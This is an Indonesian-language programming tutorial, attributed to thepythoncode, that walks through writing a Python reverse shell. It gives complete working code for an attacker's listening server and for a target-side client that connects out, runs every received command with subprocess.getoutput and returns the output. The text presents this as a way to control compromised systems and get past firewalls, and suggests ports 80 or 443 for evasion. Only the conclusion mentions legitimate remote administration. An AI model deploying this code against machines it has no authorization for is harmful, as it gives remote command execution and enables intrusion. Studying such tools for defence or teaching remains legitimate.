PYTHON
Pendahuluan
Ada banyak cara untuk mendapatkan kendali atas sistem yang disusupi, cara yang umum adalah mendapatkan akses shell interaktif, yang memungkinkan Anda mencoba untuk mendapatkan kendali penuh atas sistem operasi. Namun, kebanyakan firewall dasar memblokir koneksi jarak jauh langsung. Salah satu metode untuk melewati ini, adalah dengan menggunakan cangkang terbalik. Shell terbalik adalah program yang mengeksekusi perintah cmd.exe lokal (untuk Windows) atau bash/zsh (untuk Unix-Like) dan mengirimkan output ke mesin jarak jauh. Dengan shell terbalik, mesin target memulai koneksi ke mesin penyerang, dan mesin penyerang mendengarkan koneksi masuk pada port tertentu, ini akan melewati firewall. Ide dasar dari kode yang akan kita terapkan adalah bahwa mesin penyerang akan terus mendengarkan koneksi, setelah klien (atau mesin target) terhubung, server akan mengirimkan perintah shell ke mesin target dan mengharapkan hasil keluaran.
Sisi Server
Pertama, mari kita mulai dengan server (kode penyerang):
import socket
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128 # Ukuran pesan maksimal 128KB, jangan ragu untuk menambah
# string pemisah untuk mengirim 2 pesan sekaligus
SEPARATOR = "<sep>"
# buat objek soket
s = socket.socket()
Perhatikan bahwa saya telah menggunakan 0.0.0.0 alamat IP server, ini berarti semua alamat IPv4 di mesin lokal. Anda mungkin bertanya-tanya, mengapa kami tidak menggunakan alamat IP lokal saja localhost atau 127.0.0.1? Nah, jika server memiliki dua alamat IP, katakanlah 192.168.1.101 di jaringan, dan 10.0.1.1 di jaringan lain, dan server mendengarkan 0.0.0.0, maka itu akan dapat dijangkau di kedua IP tersebut. Kami kemudian menentukan beberapa variabel dan memulai soket TCP. Perhatikan saya menggunakan 5003 port TCP , jangan ragu untuk memilih port apa pun di atas 1024 , pastikan port tersebut tidak digunakan dan Anda harus menggunakannya di kedua sisi (yaitu server dan klien). Namun, reverse shell yang berbahaya biasanya menggunakan port populer 80 (yaitu htt p) atau 443 (yaitu https ), ini akan memungkinkannya untuk melewati batasan firewall dari klien target, jangan ragu untuk mengubahnya dan mencobanya!
Sekarang mari kita ikat soket yang baru saja kita buat ke alamat IP dan port kita:
# ikat soket ke semua alamat IP dari host ini
s.bind((SERVER_HOST, SERVER_PORT))
Mendengarkan koneksi:
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
Jika ada klien yang mencoba terhubung ke server, kami harus menerimanya:
# terima koneksi apa pun yang dicoba
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
fungsi accept() menunggu koneksi masuk dan mengembalikan soket baru yang mewakili koneksi ( client_socket ), dan alamat (IP dan port) klien. Sekarang kode di bawah ini akan dieksekusi hanya jika pengguna terhubung ke server, mari kita menerima pesan dari klien yang berisi direktori kerja klien saat ini:
# menerima direktori kerja klien saat ini
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
Perhatikan bahwa kita perlu menyandikan pesan ke byte sebelum mengirim, dan kita harus mengirim pesan menggunakan client_socket soket server dan bukan soket server.
Sekarang mari kita mulai loop utama kita, yang mengirimkan perintah shell dan mengambil hasilnya dan mencetaknya:
while True:
# dapatkan perintah dari prompt
command = input(f"{cwd} $> ")
if not command.strip():
# perintah kosong
continue
# kirim perintah ke klien
client_socket.send(command.encode())
if command.lower() == "exit":
# jika perintahnya keluar, keluar saja dari loop
break
# ambil hasil perintah
output = client_socket.recv(BUFFER_SIZE).decode()
# pisahkan output perintah dan direktori saat ini
results, cwd = output.split(SEPARATOR)
# print output
print(results)
Dalam kode di atas, kami meminta pengguna server (yaitu penyerang) dari perintah yang ingin dia jalankan pada klien, kami mengirim perintah itu ke klien dan mengharapkan output dari perintah untuk mencetaknya ke konsol. Perhatikan bahwa kami membagi output menjadi hasil perintah dan direktori kerja saat ini, itu karena klien akan mengirim kedua pesan ini dalam satu operasi pengiriman. Jika perintahnya adalah "exit" , keluar saja dari loop dan tutup koneksi.
Sisi Klien
Mari kita lihat kode klien sekarang, buka file baru dan tulis:
import socket
import os
import subprocess
import sys
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128 # Ukuran pesan maksimal 128KB, jangan ragu untuk menambah
# string pemisah untuk mengirim 2 pesan sekaligus
SEPARATOR = "<sep>"
Di atas, kami mengatur yang SERVER_HOST akan diteruskan dari argumen baris perintah, ini adalah IP atau host dari mesin server. Jika Anda berada di jaringan lokal, maka Anda harus mengetahui IP pribadi server dengan menggunakan perintah ipconfig di Windows dan ifconfig Linux. Perhatikan bahwa jika Anda menguji kedua kode pada mesin yang sama, Anda dapat mengatur SERVER_HOST ke 127.0.0.1 dan itu akan berfungsi dengan baik.
Mari buat soket dan sambungkan ke server:
# buat objek soket
s = socket.socket()
# terhubung ke server
s.connect((SERVER_HOST, SERVER_PORT))
Ingat, server mengharapkan direktori kerja klien saat ini setelah koneksi, mari kita kirimkan kemudian:
# dapatkan direktori saat ini
cwd = os.getcwd()
s.send(cwd.encode())
Kami menggunakan getcwd() fungsi dari osmodule , fungsi ini mengembalikan direktori kerja saat ini. Misalnya, jika Anda menjalankan kode ini di Desktop, itu akan mengembalikan jalur absolut Desktop.
Pergi ke loop utama, pertama-tama kita menerima perintah dari server, jalankan dan kirim kembali hasilnya, berikut adalah kode untuk itu:
while True:
# menerima perintah dari server
command = s.recv(BUFFER_SIZE).decode()
splited_command = command.split()
if command.lower() == "exit":
# jika perintahnya keluar, keluar saja dari loop
break
if splited_command[0].lower() == "cd":
# perintah cd, ubah direktori
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
# jika ada kesalahan, tetapkan sebagai output
output = str(e)
else:
# jika operasi berhasil, pesan kosong
output = ""
else:
# jalankan perintah dan ambil hasilnya
output = subprocess.getoutput(command)
# dapatkan direktori kerja saat ini sebagai output
cwd = os.getcwd()
# kirim hasilnya kembali ke server
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
# tutup koneksi klien
s.close()
Pertama, kita menerima perintah dari server menggunakan recv() metode pada objek socket, kita kemudian memeriksa apakah itu cd perintah, jika demikian, maka kita menggunakan os.chdir() fungsi untuk mengubah direktori, itu karena subprocess.getoutput() memunculkan prosesnya sendiri dan tidak mengubah direktori. direktori pada proses Python saat ini. Setelah itu, jika bukan cd perintah, maka kita cukup menggunakan subprocess.getoutput() fungsi s untuk mendapatkan output dari perintah yang dieksekusi. Akhirnya, kami menyiapkan pesan kami yang berisi output perintah dan direktori kerja, dan kemudian mengirimkannya.
Hasil
Okey, kita sudah selesai menulis kode untuk kedua sisi, mari kita jalankan. Pertama, Anda perlu menjalankan server untuk mendengarkan pada port itu, dan kemudian menjalankan klien setelah itu. Di bawah ini adalah tangkapan layar ketika saya memulai server dan membuat koneksi klien baru, dan kemudian menjalankan dir perintah demo:
Dan ini adalah perintah run saya di sisi klien:
Mengagumkan, bukan? Anda dapat menjalankan perintah shell apa pun yang tersedia di sistem operasi itu. Perhatikan bahwa saya dulu 127.0.0.1 menjalankan kedua sisi pada mesin yang sama, tetapi Anda dapat melakukannya dari jarak jauh di jaringan lokal atau Internet.
Kesimpulan
Untuk menyimpulkan, shell terbalik umumnya tidak dimaksudkan sebagai kode berbahaya, dapat digunakan untuk tujuan yang sah, misalnya, Anda dapat menggunakan ini untuk mengelola mesin Anda dari jarak jauh.
Disclaimer
Sumber asli : thepythoncode
0 Komentar